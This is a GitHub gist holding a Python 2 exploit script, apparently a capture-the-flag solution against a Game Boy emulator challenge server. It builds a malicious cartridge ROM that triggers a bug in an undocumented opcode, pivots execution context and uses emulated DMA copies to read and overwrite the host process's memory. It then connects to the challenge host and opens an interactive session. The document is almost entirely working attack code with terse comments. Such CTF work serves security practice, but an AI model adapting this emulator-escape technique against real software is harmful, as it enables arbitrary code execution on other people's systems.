Skip to content

Instantly share code, notes, and snippets.

@ymgve
Created April 23, 2017 21:10
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ymgve/528cb0d2470ea35e16eb783192b6b019 to your computer and use it in GitHub Desktop.
Save ymgve/528cb0d2470ea35e16eb783192b6b019 to your computer and use it in GitHub Desktop.
import socket, struct, os, binascii, base64
import telnetlib
def readline(sc, show = True):
res = ""
while len(res) == 0 or res[-1] != "\n":
data = sc.recv(1)
if len(data) == 0:
print repr(res)
raise Exception("Server disconnected")
res += data
if show:
print repr(res[:-1])
return res[:-1]
def read_until(sc, s):
res = ""
while not res.endswith(s):
data = sc.recv(1)
if len(data) == 0:
print repr(res)
raise Exception("Server disconnected")
res += data
return res[:-(len(s))]
def read_all(sc, n):
data = ""
while len(data) < n:
block = sc.recv(n - len(data))
if len(block) == 0:
print repr(data)
raise Exception("Server disconnected")
data += block
return data
def I(n):
return struct.pack("<I", n)
def Q(n):
return struct.pack("<Q", n)
def write_cart(cart, offset, data):
print "data size", hex(len(data))
if type(data) is str:
data = [ord(x) for x in data]
for c in data:
cart[offset] = c
offset += 1
def opcodes_mov64(dst, src):
s = ""
for i in xrange(8):
s += "\xfa" + struct.pack("<H", src+i) + "\xea" + struct.pack("<H", dst+i)
return s
def opcodes_add64(dst, src, delta):
delta = delta & 0xffffffffffffffff
s = ""
for i in xrange(8):
s += "\xfa" + struct.pack("<H", src+i)
if i == 0:
s += "\xc6"
else:
s += "\xce"
s += chr(delta & 0xff)
s += "\xea" + struct.pack("<H", dst+i)
delta >>= 8
return s
cart = [0] * 0x8000
write_cart(cart, 0, "\x3e\xfe\xea\x46\xff") # context pivot
write_cart(cart, 0x100, "\x3e\x80\x0e\x90\xed") # trigger bug in undocumented opcode ED
write_cart(cart, 0x100+5-0x80, "\xc3\x00\x02") # jump to main routine
write_cart(cart, 0x200-0x80,
# disable interrupts
"\xf3" +
# copy loop - copies from 0010-0100 to FE00-FEF0
"\x11\x10\x00\x21\x00\xfe\x0e\xf0" +
"\x1a\x13\x22\x0d\x20\xfa" +
# sets DMA destination to start of heap in copied block
opcodes_mov64(0xfe08, 0x0010) +
# sets PC in block to copy
"\x3e\x00\xea\x40\xfe" +
"\x3e\x04\xea\x41\xfe" +
# sets DMA destination to right above target data we want to read
opcodes_add64(0x0018, 0x0010, 0x00025ac0) +
"\x3e\xfe\xea\x46\xff" + # DMA copies bank FEXX to destination
# sets PC after context pivot
"\x3e\x80\xea\x40\xfe" +
"\x3e\xfe\xea\x41\xfe" +
# prepares for context pivot
opcodes_add64(0xfe00, 0x0018, -0xfe10) +
opcodes_add64(0x0018, 0x0010, 0x10) +
# do pivot
"\x3e\xfe\xea\x46\xff")
write_cart(cart, 0x400-0x80,
# backup of arena pointer
opcodes_mov64(0xc000, 0x0000) +
# copy loop
"\x11\x10\x00\x21\x00\xfe\x0e\xf0" +
"\x1a\x13\x22\x0d\x20\xfa" +
# sets DMA destination to start of heap in copied block
opcodes_mov64(0xfe08, 0x0010) +
# sets PC in block to copy
"\x3e\x00\xea\x40\xfe" +
"\x3e\x06\xea\x41\xfe" +
# sets DMA destination to right above target data we want to read
opcodes_add64(0x0018, 0x0000, 0x00000000003A7FB8-0x00000000003A5678+0x10) +
"\x3e\xfe\xea\x46\xff" + # DMA copies bank FEXX to destination
# sets PC after context pivot
"\x3e\x80\xea\x40\xfe" +
"\x3e\xfe\xea\x41\xfe" +
# prepares for context pivot
opcodes_add64(0xfe00, 0x0018, -0xfe10) +
opcodes_add64(0x0018, 0x0010, 0x10) +
# do pivot
"\x3e\xfe\xea\x46\xff")
write_cart(cart, 0x600-0x80,
# backup of stack pointer
opcodes_mov64(0xc008, 0x0000) +
opcodes_add64(0x0000, 0xc000, -0x00000000003A5678+0x0000000000041374) +
# sets DMA destination to right at the data we want to write to
opcodes_add64(0x0018, 0xc008, -0xf0) +
"\x3e\x00\xea\x46\xff" + # DMA copies bank FEXX to destination
"\xfd")
cart = "".join([chr(x) for x in cart])
sc = socket.create_connection(("gameboy.chal.pwning.xxx", 30908))
# sc = socket.create_connection(("10.0.0.97", 12345))
sc.send(cart)
t = telnetlib.Telnet()
t.sock = sc
t.interact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment